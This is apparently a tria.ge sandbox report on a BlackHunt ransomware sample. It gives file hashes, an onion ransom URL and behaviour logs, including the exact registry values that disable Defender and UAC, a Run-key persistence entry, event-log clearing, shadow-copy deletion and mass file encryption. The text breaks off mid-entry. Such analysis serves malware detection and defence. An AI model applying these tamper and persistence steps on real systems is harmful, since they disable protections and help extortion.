Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:32
Static task
static1
Behavioral task
behavioral1
Sample
6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe
Resource
win10v2004-20231215-en
General
-
Target
6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe
-
Size
707KB
-
MD5
2b5de2a371920894dc99ebd18c2e31a7
-
SHA1
30b185ff0f5154383f1ff58e8235cc0f8938ca54
-
SHA256
6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd
-
SHA512
c3204acb874d88e6277cd438927bbfa70341d190be45e8c1f71236fe9113067ef43c17f3d0302cc874f75dfb5b524ed34e1e389a7e0265a75fbb9c1404690791
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1f8mvnh:6uaTmkZJ+naie5OTamgEoKxLW+Yh
Malware Config
Extracted
\Device\HarddiskVolume1\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1944 fsutil.exe 3228 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2668 wevtutil.exe 3132 wevtutil.exe 3252 wevtutil.exe 3172 wevtutil.exe 2192 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2488 bcdedit.exe 3556 bcdedit.exe 2188 bcdedit.exe 1496 bcdedit.exe -
Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 3868 wbadmin.exe 3768 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 1716 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\Z: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\U: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\P: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\K: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\E: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\B: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\M: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\L: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\T: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\I: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\S: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\G: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\N: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\R: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\Y: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\H: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\X: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Q: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\O: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\A: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened (read-only) \??\V: 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guayaquil 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\London 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Uzhgorod 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_ja.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jre7\lib\plugin.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\VideoLAN\VLC\New_Skins.url 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dubai 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.commands_0.10.2.v20140424-2344.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\WriteRead.wma 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console_1.0.300.v20131113-1212.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_ja_4.4.0.v20140623020002.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.svg_1.1.0.v201011041433.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\snmp.acl.template 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#BlackHunt_Private.key 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_it.properties 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hong_Kong 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\#BlackHunt_ReadMe.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-favorites.xml 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_ja.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\vlc.mo 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_SelectionSubpicture.png 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\Words.pdf 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\#BlackHunt_ReadMe.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\#BlackHunt_Private.key 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\config.ini 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pohnpei 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\content-types.properties 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\MANIFEST.MF 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#BlackHunt_ReadMe.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Maldives 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_ReadMe.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files (x86)\Google\Update\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\La_Rioja 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_zh_4.4.0.v20140623020002.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\PST8PDT 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_Private.key 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\#BlackHunt_ReadMe.hta 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_SelectionSubpicture.png 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File created C:\Program Files\Java\jre7\lib\ext\#BlackHunt_Private.key 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Andorra 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\license.html 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_ja_4.4.0.v20140623020002.jar 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_basestyle.css 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3204 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1556 vssadmin.exe 3600 vssadmin.exe 3016 vssadmin.exe 3136 vssadmin.exe 2744 vssadmin.exe 1816 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2384 taskkill.exe -
Modifies registry class 12 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2924 PING.EXE -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeRestorePrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeBackupPrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeTakeOwnershipPrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeAuditPrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeSecurityPrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeIncBasePriorityPrivilege 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Token: SeBackupPrivilege 2792 vssvc.exe Token: SeRestorePrivilege 2792 vssvc.exe Token: SeAuditPrivilege 2792 vssvc.exe Token: SeBackupPrivilege 2584 wbengine.exe Token: SeRestorePrivilege 2584 wbengine.exe Token: SeSecurityPrivilege 2584 wbengine.exe Token: SeSecurityPrivilege 2668 wevtutil.exe Token: SeBackupPrivilege 2668 wevtutil.exe Token: SeSecurityPrivilege 3172 wevtutil.exe Token: SeBackupPrivilege 3172 wevtutil.exe Token: SeSecurityPrivilege 3132 wevtutil.exe Token: SeBackupPrivilege 3132 wevtutil.exe Token: SeSecurityPrivilege 3252 wevtutil.exe Token: SeBackupPrivilege 3252 wevtutil.exe Token: SeSecurityPrivilege 2192 wevtutil.exe Token: SeBackupPrivilege 2192 wevtutil.exe Token: SeDebugPrivilege 2384 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2444 wrote to memory of 2600 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 29 PID 2444 wrote to memory of 2600 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 29 PID 2444 wrote to memory of 2600 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 29 PID 2444 wrote to memory of 2600 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 29 PID 2444 wrote to memory of 1160 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 30 PID 2444 wrote to memory of 1160 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 30 PID 2444 wrote to memory of 1160 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 30 PID 2444 wrote to memory of 1160 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 30 PID 2444 wrote to memory of 1312 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 31 PID 2444 wrote to memory of 1312 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 31 PID 2444 wrote to memory of 1312 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 31 PID 2444 wrote to memory of 1312 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 31 PID 2444 wrote to memory of 2132 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 33 PID 2444 wrote to memory of 2132 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 33 PID 2444 wrote to memory of 2132 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 33 PID 2444 wrote to memory of 2132 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 33 PID 2444 wrote to memory of 2832 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 34 PID 2444 wrote to memory of 2832 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 34 PID 2444 wrote to memory of 2832 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 34 PID 2444 wrote to memory of 2832 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 34 PID 2444 wrote to memory of 2532 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 37 PID 2444 wrote to memory of 2532 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 37 PID 2444 wrote to memory of 2532 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 37 PID 2444 wrote to memory of 2532 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 37 PID 2444 wrote to memory of 2400 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 40 PID 2444 wrote to memory of 2400 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 40 PID 2444 wrote to memory of 2400 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 40 PID 2444 wrote to memory of 2400 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 40 PID 2444 wrote to memory of 2800 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 42 PID 2444 wrote to memory of 2800 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 42 PID 2444 wrote to memory of 2800 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 42 PID 2444 wrote to memory of 2800 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 42 PID 2444 wrote to memory of 2872 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 47 PID 2444 wrote to memory of 2872 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 47 PID 2444 wrote to memory of 2872 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 47 PID 2444 wrote to memory of 2872 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 47 PID 2444 wrote to memory of 2848 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 131 PID 2444 wrote to memory of 2848 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 131 PID 2444 wrote to memory of 2848 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 131 PID 2444 wrote to memory of 2848 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 131 PID 2444 wrote to memory of 2876 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 48 PID 2444 wrote to memory of 2876 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 48 PID 2444 wrote to memory of 2876 2444 